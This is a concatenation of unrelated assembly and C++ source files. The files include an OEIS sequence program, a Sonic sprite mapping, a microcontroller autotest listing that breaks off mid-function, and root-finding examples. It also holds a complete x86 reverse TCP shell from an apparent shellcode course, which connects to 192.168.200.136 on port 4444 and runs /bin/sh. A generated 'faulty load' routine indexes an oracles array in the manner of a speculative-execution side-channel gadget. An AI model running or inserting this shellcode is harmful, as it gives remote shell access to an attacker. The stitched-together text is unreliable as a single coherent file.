; A083420: a(n) = 2*4^n - 1. ; 1,7,31,127,511,2047,8191,32767,131071,524287,2097151,8388607,33554431,134217727,536870911,2147483647,8589934591,34359738367,137438953471,549755813887,2199023255551,8796093022207,35184372088831,140737488355327,562949953421311,2251799813685247,9007199254740991,36028797018963967,144115188075855871,576460752303423487,2305843009213693951,9223372036854775807,36893488147419103231,147573952589676412927,590295810358705651711,2361183241434822606847,9444732965739290427391,37778931862957161709567 mov $1,4 pow $1,$0 mul $1,2 sub $1,1 mov $0,$1
; Filename: reverse_tcp_shell.nasm ; Author: Bohan Zhang ; Website: https://bohansec.com ; SLAE-ID: 1562 ; ; ; Purpose: connect a reverse tcp shell from the victim machine to the host machine global _start section .text _start: ;init the registers xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx xor esi, esi xor edi, edi ;create a socket mov ax, 359 ;call the socket mov bl, 2 ;set domain to 2 mov cl, 1 ; set type to 1 int 0x80 mov esi, eax ;dup2, essentially it gives us ability to enter command and see output in our shell mov ebx, eax ;get the oldfd mov cl, 3 ;the newfd, stdin, stdout, std error dup2: xor eax,eax ;reset the eax mov al, 63 ;call dup2 int 0x80 dec ecx ;minus the ecx by 1 jns dup2 ;jump if not signed ;call connect xor ebx, ebx ;clear ebx mov ebx, esi ;set sockfd to the returned mov ax, 362 ;call connect push edi push dword 0x88c8a8c0 ;192.168.200.136 in hex c0.a8.c8.88 (0xc0a8c888) push word 0x5c11 ;port 4444 push word 0x2 ;sin family mov ecx, esp ;let ecx points to the start of the stack mov dl, 102 ;addess length is 102 int 0x80 ;execve xor eax, eax push eax ;set envp to 0 push 0x68732f2f ;ib// push 0x6e69622f ;hs/n mov ebx, esp ;now our stack is //bin/sh0x00000000, and ebx points to the pathname //bin/sh push eax ;push another 0 on the stack, so now our stack is 0x0//bin/sh0x00000000 mov edx, esp ;edx points to envp, which is the 0x0 push ebx ;push the memory address of //bin/sh on the stack, so now we have addr0x0//bin/sh0x00000000 mov ecx, esp ;ecx points to the address of the //bin/sh, which is the argument argv mov al, 11 ;call the execve int 0x80
section ".data" xdef pSnd_SetLoop pSnd_SetLoop: move.b d0,loop rts
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r8 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x16d2a, %rsi lea addresses_UC_ht+0xbe2a, %rdi nop nop cmp %r8, %r8 mov $62, %rcx rep movsq nop nop nop nop sub %r13, %r13 lea addresses_UC_ht+0xda6a, %rdi sub %rax, %rax mov (%rdi), %r8 nop nop nop and %r8, %r8 lea addresses_D_ht+0x52aa, %rsi lea addresses_normal_ht+0x15872, %rdi clflush (%rsi) nop dec %r12 mov $53, %rcx rep movsq nop nop add $4756, %r13 lea addresses_A_ht+0x1042a, %rdi nop nop nop nop nop xor $9574, %r13 mov $0x6162636465666768, %rsi movq %rsi, %xmm5 movups %xmm5, (%rdi) nop nop cmp %r13, %r13 lea addresses_UC_ht+0xcb32, %r12 nop nop nop xor $9580, %rsi movups (%r12), %xmm2 vpextrq $1, %xmm2, %rdi nop inc %r12 lea addresses_A_ht+0xba2a, %rsi lea addresses_A_ht+0x11b9a, %rdi nop nop nop nop nop and %rdx, %rdx mov $120, %rcx rep movsw nop nop cmp $56503, %rdx lea addresses_A_ht+0x1a776, %r12 nop nop nop and $23630, %rcx movb $0x61, (%r12) nop nop nop nop nop cmp $40846, %rsi lea addresses_A_ht+0x522a, %rcx nop and %r8, %r8 mov $0x6162636465666768, %rdi movq %rdi, (%rcx) nop mfence pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r8 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi // Store lea addresses_PSE+0x1062a, %r14 nop nop nop nop nop cmp %rdx, %rdx movb $0x51, (%r14) nop nop nop nop nop add %r11, %r11 // REPMOV lea addresses_PSE+0x16a7a, %rsi lea addresses_D+0x122a, %rdi nop nop nop nop xor %rax, %rax mov $96, %rcx rep movsq nop xor $64710, %rbx // Store lea addresses_PSE+0x17bfc, %rdx nop nop nop nop nop sub %rsi, %rsi mov $0x5152535455565758, %rdi movq %rdi, %xmm2 vmovups %ymm2, (%rdx) nop nop nop and %r13, %r13 // Faulty Load lea addresses_D+0x122a, %rdi nop nop nop nop add $59000, %rcx movb (%rdi), %al lea oracles, %rdx and $0xff, %rax shlq $12, %rax mov (%rdx,%rax,1), %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 3}} {'src': {'type': 'addresses_PSE', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D', 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}} [Faulty Load] {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 8}} {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': True, 'same': True, 'congruent': 2}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 9}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
; display chars 'a'~'z' in order assume cs:code code segment start: mov ax, 0b800h mov es, ax mov ah, 'a' s: mov es:[160*12+40*2], ah inc ah cmp ah, 'z' jna s mov ax, 4c00h int 21h code ends end start
#ifndef ATTACH_H #include "Attach.h" #endif double examples::f1(double x) { // This function should have a root on [-4, 4] return exp(x) + pow(2.0,-x) + 2.0*sin(x) - 6.0; } double examples::f2(double x) { // This function should have a root on [0, 4] return 2.0*x*cos(2.0*x) - template_funcs::DSQR(x - 2.0); } double examples::f3(double x) { // This function should have a root on [-2, 5] return exp(x) - 3.0*template_funcs::DSQR(x); } double examples::disp_eqn(double x) { // The dispersion equation for the slab waveguide // propagation constants will be found in the range [(k0*ns),(k0*nc)] double h, p, q; double t1, t2, t3, t4, xsqr; xsqr = template_funcs::DSQR(x); h = sqrt(kncsqr - xsqr); p = sqrt(xsqr - knssqr); q = sqrt(xsqr - knclsqr); t1 = (p*q) / template_funcs::DSQR(h); t2 = q/h; t3 = p/h; t4 = W*h; return ((1.0-t1)*sin(t4)-(t2+t3)*cos(t4)); } void examples::ex_1() { // Find the roots of function f1 find_root rtsearch(f1,-4.0,4.0,20); rtsearch.bracket_roots(); rtsearch.bisection_search(1.0e-5); rtsearch.newton_raphson_search(1.0e-5); } void examples::ex_2() { // Find the roots of function f1 find_root rtsearch2(f2,0,4.0,20); rtsearch2.bracket_roots(); rtsearch2.bisection_search(1.0e-5); rtsearch2.newton_raphson_search(1.0e-5); /*rtsearch2.set_interval(0.0,5.0,30); rtsearch2.bracket_roots(); rtsearch2.bisection_search(1.0e-5); rtsearch2.newton_raphson_search(1.0e-5);*/ } void examples::ex_3() { // Find the roots of function f3 find_root rtsearch3(f3,-2.0,5.0,20); rtsearch3.bracket_roots(); rtsearch3.bisection_search(1.0e-5); rtsearch3.newton_raphson_search(1.0e-5); } void examples::ex_4() { // Find the roots of function disp_eqn find_root rtsearch4(disp_eqn,(k0*ns),(k0*nc),50); rtsearch4.bracket_roots(); rtsearch4.bisection_search(1.0e-5); rtsearch4.newton_raphson_search(1.0e-5); }
; --------------------------------------------------------------------------- ; Sprite mappings - Moto Bug enemy (GHZ) ; --------------------------------------------------------------------------- dc.w byte_F7AE-Map_obj40, byte_F7C3-Map_obj40 dc.w byte_F7D8-Map_obj40, byte_F7F2-Map_obj40 dc.w byte_F7F8-Map_obj40, byte_F7FE-Map_obj40 dc.w byte_F804-Map_obj40 byte_F7AE: dc.b 4 dc.b $F0, $D, 0, 0, $EC dc.b 0, $C, 0, 8, $EC dc.b $F8, 1, 0, $C, $C dc.b 8, 8, 0, $E, $F4 byte_F7C3: dc.b 4 dc.b $F1, $D, 0, 0, $EC dc.b 1, $C, 0, 8, $EC dc.b $F9, 1, 0, $C, $C dc.b 9, 8, 0, $11, $F4 byte_F7D8: dc.b 5 dc.b $F0, $D, 0, 0, $EC dc.b 0, $C, 0, $14, $EC dc.b $F8, 1, 0, $C, $C dc.b 8, 4, 0, $18, $EC dc.b 8, 4, 0, $12, $FC byte_F7F2: dc.b 1 dc.b $FA, 0, 0, $1A, $10 byte_F7F8: dc.b 1 dc.b $FA, 0, 0, $1B, $10 byte_F7FE: dc.b 1 dc.b $FA, 0, 0, $1C, $10 byte_F804: dc.b 0 even
;-------------------------------------------------------- ; File Created by C51 ; Version 1.0.0 #1069 (Apr 23 2015) (MSVC) ; This file was generated Sun Feb 26 15:48:40 2017 ;-------------------------------------------------------- $name f38x_autotest $optc51 --model-small R_DSEG segment data R_CSEG segment code R_BSEG segment bit R_XSEG segment xdata R_PSEG segment xdata R_ISEG segment idata R_OSEG segment data overlay BIT_BANK segment data overlay R_HOME segment code R_GSINIT segment code R_IXSEG segment xdata R_CONST segment code R_XINIT segment code R_DINIT segment code ;-------------------------------------------------------- ; Public variables in this module ;-------------------------------------------------------- public _main public _Initial_Check public _Check_Pin_Zero public _Test_Pair public _dopass public _dofailb public _dofail public _Read_Pin public _Set_Pin_Zero public _Set_Pin_One public _Set_Pin_Input public _Set_Pin_Output public _countzero public _WaitXms public _Timer3us public __c51_external_startup public _UART0_Init public _SYSCLK_Init public _PORT_Init public _Test_Pair_PARM_2 ;-------------------------------------------------------- ; Special Function Registers ;-------------------------------------------------------- _P0 DATA 0x80 _SP DATA 0x81 _DPL DATA 0x82 _DPH DATA 0x83 _EMI0TC DATA 0x84 _EMI0CF DATA 0x85 _OSCLCN DATA 0x86 _PCON DATA 0x87 _TCON DATA 0x88 _TMOD DATA 0x89 _TL0 DATA 0x8a _TL1 DATA 0x8b _TH0 DATA 0x8c _TH1 DATA 0x8d _CKCON DATA 0x8e _PSCTL DATA 0x8f _P1 DATA 0x90 _TMR3CN DATA 0x91 _TMR4CN DATA 0x91 _TMR3RLL DATA 0x92 _TMR4RLL DATA 0x92 _TMR3RLH DATA 0x93 _TMR4RLH DATA 0x93 _TMR3L DATA 0x94 _TMR4L DATA 0x94 _TMR3H DATA 0x95 _TMR4H DATA 0x95 _USB0ADR DATA 0x96 _USB0DAT DATA 0x97 _SCON DATA 0x98 _SCON0 DATA 0x98 _SBUF DATA 0x99 _SBUF0 DATA 0x99 _CPT1CN DATA 0x9a _CPT0CN DATA 0x9b _CPT1MD DATA 0x9c _CPT0MD DATA 0x9d _CPT1MX DATA 0x9e _CPT0MX DATA 0x9f _P2 DATA 0xa0 _SPI0CFG DATA 0xa1 _SPI0CKR DATA 0xa2 _SPI0DAT DATA 0xa3 _P0MDOUT DATA 0xa4 _P1MDOUT DATA 0xa5 _P2MDOUT DATA 0xa6 _P3MDOUT DATA 0xa7 _IE DATA 0xa8 _CLKSEL DATA 0xa9 _EMI0CN DATA 0xaa __XPAGE DATA 0xaa _SBCON1 DATA 0xac _P4MDOUT DATA 0xae _PFE0CN DATA 0xaf _P3 DATA 0xb0 _OSCXCN DATA 0xb1 _OSCICN DATA 0xb2 _OSCICL DATA 0xb3 _SBRLL1 DATA 0xb4 _SBRLH1 DATA 0xb5 _FLSCL DATA 0xb6 _FLKEY DATA 0xb7 _IP DATA 0xb8 _CLKMUL DATA 0xb9 _SMBTC DATA 0xb9 _AMX0N DATA 0xba _AMX0P DATA 0xbb _ADC0CF DATA 0xbc _ADC0L DATA 0xbd _ADC0H DATA 0xbe _SFRPAGE DATA 0xbf _SMB0CN DATA 0xc0 _SMB1CN DATA 0xc0 _SMB0CF DATA 0xc1 _SMB1CF DATA 0xc1 _SMB0DAT DATA 0xc2 _SMB1DAT DATA 0xc2 _ADC0GTL DATA 0xc3 _ADC0GTH DATA 0xc4 _ADC0LTL DATA 0xc5 _ADC0LTH DATA 0xc6 _P4 DATA 0xc7 _TMR2CN DATA 0xc8 _TMR5CN DATA 0xc8 _REG01CN DATA 0xc9 _TMR2RLL DATA 0xca _TMR5RLL DATA 0xca _TMR2RLH DATA 0xcb _TMR5RLH DATA 0xcb _TMR2L DATA 0xcc _TMR5L DATA 0xcc _TMR2H DATA 0xcd _TMR5H DATA 0xcd _SMB0ADM DATA 0xce _SMB1ADM DATA 0xce _SMB0ADR DATA 0xcf _SMB1ADR DATA 0xcf _PSW DATA 0xd0 _REF0CN DATA 0xd1 _SCON1 DATA 0xd2 _SBUF1 DATA 0xd3 _P0SKIP DATA 0xd4 _P1SKIP DATA 0xd5 _P2SKIP DATA 0xd6 _USB0XCN DATA 0xd7 _PCA0CN DATA 0xd8 _PCA0MD DATA 0xd9 _PCA0CPM0 DATA 0xda _PCA0CPM1 DATA 0xdb _PCA0CPM2 DATA 0xdc _PCA0CPM3 DATA 0xdd _PCA0CPM4 DATA 0xde _P3SKIP DATA 0xdf _ACC DATA 0xe0 _XBR0 DATA 0xe1 _XBR1 DATA 0xe2 _XBR2 DATA 0xe3 _IT01CF DATA 0xe4 _CKCON1 DATA 0xe4 _SMOD1 DATA 0xe5 _EIE1 DATA 0xe6 _EIE2 DATA 0xe7 _ADC0CN DATA 0xe8 _PCA0CPL1 DATA 0xe9 _PCA0CPH1 DATA 0xea _PCA0CPL2 DATA 0xeb _PCA0CPH2 DATA 0xec _PCA0CPL3 DATA 0xed _PCA0CPH3 DATA 0xee _RSTSRC DATA 0xef _B DATA 0xf0 _P0MDIN DATA 0xf1 _P1MDIN DATA 0xf2 _P2MDIN DATA 0xf3 _P3MDIN DATA 0xf4 _P4MDIN DATA 0xf5 _EIP1 DATA 0xf6 _EIP2 DATA 0xf7 _SPI0CN DATA 0xf8 _PCA0L DATA 0xf9 _PCA0H DATA 0xfa _PCA0CPL0 DATA 0xfb _PCA0CPH0 DATA 0xfc _PCA0CPL4 DATA 0xfd _PCA0CPH4 DATA 0xfe _VDM0CN DATA 0xff _DPTR DATA 0x8382 _TMR2RL DATA 0xcbca _TMR3RL DATA 0x9392 _TMR4RL DATA 0x9392 _TMR5RL DATA 0xcbca _TMR2 DATA 0xcdcc _TMR3 DATA 0x9594 _TMR4 DATA 0x9594 _TMR5 DATA 0xcdcc _SBRL1 DATA 0xb5b4 _ADC0 DATA 0xbebd _ADC0GT DATA 0xc4c3 _ADC0LT DATA 0xc6c5 _PCA0 DATA 0xfaf9 _PCA0CP1 DATA 0xeae9 _PCA0CP2 DATA 0xeceb _PCA0CP3 DATA 0xeeed _PCA0CP0 DATA 0xfcfb _PCA0CP4 DATA 0xfefd ;-------------------------------------------------------- ; special function bits ;-------------------------------------------------------- _P0_0 BIT 0x80 _P0_1 BIT 0x81 _P0_2 BIT 0x82 _P0_3 BIT 0x83 _P0_4 BIT 0x84 _P0_5 BIT 0x85 _P0_6 BIT 0x86 _P0_7 BIT 0x87 _TF1 BIT 0x8f _TR1 BIT 0x8e _TF0 BIT 0x8d _TR0 BIT 0x8c _IE1 BIT 0x8b _IT1 BIT 0x8a _IE0 BIT 0x89 _IT0 BIT 0x88 _P1_0 BIT 0x90 _P1_1 BIT 0x91 _P1_2 BIT 0x92 _P1_3 BIT 0x93 _P1_4 BIT 0x94 _P1_5 BIT 0x95 _P1_6 BIT 0x96 _P1_7 BIT 0x97 _S0MODE BIT 0x9f _SCON0_6 BIT 0x9e _MCE0 BIT 0x9d _REN0 BIT 0x9c _TB80 BIT 0x9b _RB80 BIT 0x9a _TI0 BIT 0x99 _RI0 BIT 0x98 _SCON_6 BIT 0x9e _MCE BIT 0x9d _REN BIT 0x9c _TB8 BIT 0x9b _RB8 BIT 0x9a _TI BIT 0x99 _RI BIT 0x98 _P2_0 BIT 0xa0 _P2_1 BIT 0xa1 _P2_2 BIT 0xa2 _P2_3 BIT 0xa3 _P2_4 BIT 0xa4 _P2_5 BIT 0xa5 _P2_6 BIT 0xa6 _P2_7 BIT 0xa7 _EA BIT 0xaf _ESPI0 BIT 0xae _ET2 BIT 0xad _ES0 BIT 0xac _ET1 BIT 0xab _EX1 BIT 0xaa _ET0 BIT 0xa9 _EX0 BIT 0xa8 _P3_0 BIT 0xb0 _P3_1 BIT 0xb1 _P3_2 BIT 0xb2 _P3_3 BIT 0xb3 _P3_4 BIT 0xb4 _P3_5 BIT 0xb5 _P3_6 BIT 0xb6 _P3_7 BIT 0xb7 _IP_7 BIT 0xbf _PSPI0 BIT 0xbe _PT2 BIT 0xbd _PS0 BIT 0xbc _PT1 BIT 0xbb _PX1 BIT 0xba _PT0 BIT 0xb9 _PX0 BIT 0xb8 _MASTER0 BIT 0xc7 _TXMODE0 BIT 0xc6 _STA0 BIT 0xc5 _STO0 BIT 0xc4 _ACKRQ0 BIT 0xc3 _ARBLOST0 BIT 0xc2 _ACK0 BIT 0xc1 _SI0 BIT 0xc0 _MASTER1 BIT 0xc7 _TXMODE1 BIT 0xc6 _STA1 BIT 0xc5 _STO1 BIT 0xc4 _ACKRQ1 BIT 0xc3 _ARBLOST1 BIT 0xc2 _ACK1 BIT 0xc1 _SI1 BIT 0xc0 _TF2 BIT 0xcf _TF2H BIT 0xcf _TF2L BIT 0xce _TF2LEN BIT 0xcd _TF2CEN BIT 0xcc _T2SPLIT BIT 0xcb _TR2 BIT 0xca _T2CSS BIT 0xc9 _T2XCLK BIT 0xc8 _TF5H BIT 0xcf _TF5L BIT 0xce _TF5LEN BIT 0xcd _TMR5CN_4 BIT 0xcc _T5SPLIT BIT 0xcb _TR5 BIT 0xca _TMR5CN_1 BIT 0xc9 _T5XCLK BIT 0xc8 _CY BIT 0xd7 _AC BIT 0xd6 _F0 BIT 0xd5 _RS1 BIT 0xd4 _RS0 BIT 0xd3 _OV BIT 0xd2 _F1 BIT 0xd1 _PARITY BIT 0xd0 _CF BIT 0xdf _CR BIT 0xde _PCA0CN_5 BIT 0xde _CCF4 BIT 0xdc _CCF3 BIT 0xdb _CCF2 BIT 0xda _CCF1 BIT 0xd9 _CCF0 BIT 0xd8 _ACC_7 BIT 0xe7 _ACC_6 BIT 0xe6 _ACC_5 BIT 0xe5 _ACC_4 BIT 0xe4 _ACC_3 BIT 0xe3 _ACC_2 BIT 0xe2 _ACC_1 BIT 0xe1 _ACC_0 BIT 0xe0 _AD0EN BIT 0xef _AD0TM BIT 0xee _AD0INT BIT 0xed _AD0BUSY BIT 0xec _AD0WINT BIT 0xeb _AD0CM2 BIT 0xea _AD0CM1 BIT 0xe9 _AD0CM0 BIT 0xe8 _B_7 BIT 0xf7 _B_6 BIT 0xf6 _B_5 BIT 0xf5 _B_4 BIT 0xf4 _B_3 BIT 0xf3 _B_2 BIT 0xf2 _B_1 BIT 0xf1 _B_0 BIT 0xf0 _SPIF BIT 0xff _WCOL BIT 0xfe _MODF BIT 0xfd _RXOVRN BIT 0xfc _NSSMD1 BIT 0xfb _NSSMD0 BIT 0xfa _TXBMT BIT 0xf9 _SPIEN BIT 0xf8 ;-------------------------------------------------------- ; overlayable register banks ;-------------------------------------------------------- rbank0 segment data overlay ;-------------------------------------------------------- ; internal ram data ;-------------------------------------------------------- rseg R_DSEG _Test_Pair_PARM_2: ds 1 ;-------------------------------------------------------- ; overlayable items in internal ram ;-------------------------------------------------------- rseg R_OSEG rseg R_OSEG rseg R_OSEG rseg R_OSEG rseg R_OSEG rseg R_OSEG rseg R_OSEG ;-------------------------------------------------------- ; indirectly addressable internal ram data ;-------------------------------------------------------- rseg R_ISEG ;-------------------------------------------------------- ; absolute internal ram data ;-------------------------------------------------------- DSEG ;-------------------------------------------------------- ; bit data ;-------------------------------------------------------- rseg R_BSEG ;-------------------------------------------------------- ; paged external ram data ;-------------------------------------------------------- rseg R_PSEG ;-------------------------------------------------------- ; external ram data ;-------------------------------------------------------- rseg R_XSEG ;-------------------------------------------------------- ; absolute external ram data ;-------------------------------------------------------- XSEG ;-------------------------------------------------------- ; external initialized ram data ;-------------------------------------------------------- rseg R_IXSEG rseg R_HOME rseg R_GSINIT rseg R_CSEG ;-------------------------------------------------------- ; Reset entry point and interrupt vectors ;-------------------------------------------------------- CSEG at 0x0000 ljmp _crt0 ;-------------------------------------------------------- ; global & static initialisations ;-------------------------------------------------------- rseg R_HOME rseg R_GSINIT rseg R_GSINIT ;-------------------------------------------------------- ; data variables initialization ;-------------------------------------------------------- rseg R_DINIT ; The linker places a 'ret' at the end of segment R_DINIT. ;-------------------------------------------------------- ; code ;-------------------------------------------------------- rseg R_CSEG ;------------------------------------------------------------ ;Allocation info for local variables in function 'PORT_Init' ;------------------------------------------------------------ ;------------------------------------------------------------ ; f38x_autotest.c:27: void PORT_Init (void) ; ----------------------------------------- ; function PORT_Init ; ----------------------------------------- _PORT_Init: using 0 ; f38x_autotest.c:29: P0MDOUT |= 0x10; // Enable UTX as push-pull output orl _P0MDOUT,#0x10 ; f38x_autotest.c:30: XBR0 = 0x01; // Enable UART on P0.4(TX) and P0.5(RX) mov _XBR0,#0x01 ; f38x_autotest.c:31: XBR1 = 0x40; // Enable crossbar and weak pull-ups mov _XBR1,#0x40 ret ;------------------------------------------------------------ ;Allocation info for local variables in function 'SYSCLK_Init' ;------------------------------------------------------------ ;------------------------------------------------------------ ; f38x_autotest.c:34: void SYSCLK_Init (void) ; ----------------------------------------- ; function SYSCLK_Init ; ----------------------------------------- _SYSCLK_Init: ; f38x_autotest.c:42: CLKSEL|=0b_0000_0011; // SYSCLK derived from the Internal High-Frequency Oscillator / 1. orl _CLKSEL,#0x03 ; f38x_autotest.c:46: OSCICN |= 0x03; // Configure internal oscillator for its maximum frequency orl _OSCICN,#0x03 ; f38x_autotest.c:47: RSTSRC = 0x04; // Enable missing clock detector mov _RSTSRC,#0x04 ret ;------------------------------------------------------------ ;Allocation info for local variables in function 'UART0_Init' ;------------------------------------------------------------ ;------------------------------------------------------------ ; f38x_autotest.c:50: void UART0_Init (void) ; ----------------------------------------- ; function UART0_Init ; ----------------------------------------- _UART0_Init: ; f38x_autotest.c:52: SCON0 = 0x10; mov _SCON0,#0x10 ; f38x_autotest.c:55: TH1 = 0x10000-((SYSCLK/BAUDRATE)/2L); mov _TH1,#0x30 ; f38x_autotest.c:56: CKCON &= ~0x0B; // T1M = 1; SCA1:0 = xx anl _CKCON,#0xF4 ; f38x_autotest.c:57: CKCON |= 0x08; orl _CKCON,#0x08 ; f38x_autotest.c:70: TL1 = TH1; // Init Timer1 mov _TL1,_TH1 ; f38x_autotest.c:71: TMOD &= ~0xf0; // TMOD: timer 1 in 8-bit autoreload anl _TMOD,#0x0F ; f38x_autotest.c:72: TMOD |= 0x20; orl _TMOD,#0x20 ; f38x_autotest.c:73: TR1 = 1; // START Timer1 setb _TR1 ; f38x_autotest.c:74: TI = 1; // Indicate TX0 ready setb _TI ret ;------------------------------------------------------------ ;Allocation info for local variables in function '_c51_external_startup' ;------------------------------------------------------------ ;------------------------------------------------------------ ; f38x_autotest.c:77: char _c51_external_startup (void) ; ----------------------------------------- ; function _c51_external_startup ; ----------------------------------------- __c51_external_startup: ; f38x_autotest.c:79: PCA0MD &= ~0x40; // WDTE = 0 (clear watchdog timer enable) anl _PCA0MD,#0xBF ; f38x_autotest.c:80: PORT_Init(); // Initialize Port I/O lcall _PORT_Init ; f38x_autotest.c:81: SYSCLK_Init (); // Initialize Oscillator lcall _SYSCLK_Init ; f38x_autotest.c:82: UART0_Init(); // Initialize UART0 lcall _UART0_Init ; f38x_autotest.c:83: return 0; mov dpl,#0x00 ret ;------------------------------------------------------------ ;Allocation info for local variables in function 'Timer3us' ;------------------------------------------------------------ ;us Allocated to registers r2 r3 r4 r5 ;i Allocated to registers r6 r7 r0 r1 ;------------------------------------------------------------ ; f38x_autotest.c:87: void Timer3us(unsigned long us) ; ----------------------------------------- ; function Timer3us ; ----------------------------------------- _Timer3us: mov r2,dpl mov r3,dph mov r4,b mov r5,a ; f38x_autotest.c:92: CKCON|=0b_0100_0000; orl _CKCON,#0x40 ; f38x_autotest.c:94: TMR3RL = (-(SYSCLK)/1000000L); // Set Timer3 to overflow in 1us. mov _TMR3RL,#0xD0 mov (_TMR3RL >> 8),#0xFF ; f38x_autotest.c:95: TMR3 = TMR3RL; // Initialize Timer3 for first overflow mov _TMR3,_TMR3RL mov (_TMR3 >> 8),(_TMR3RL >> 8) ; f38x_autotest.c:97: TMR3CN = 0x04; // Sart Timer3 and clear overflow flag mov _TMR3CN,#0x04 ; f38x_autotest.c:98: for (i = 0; i < us; i++) // Count <us> overflows mov r6,#0x00 mov r7,#0x00 mov r0,#0x00 mov r1,#0x00 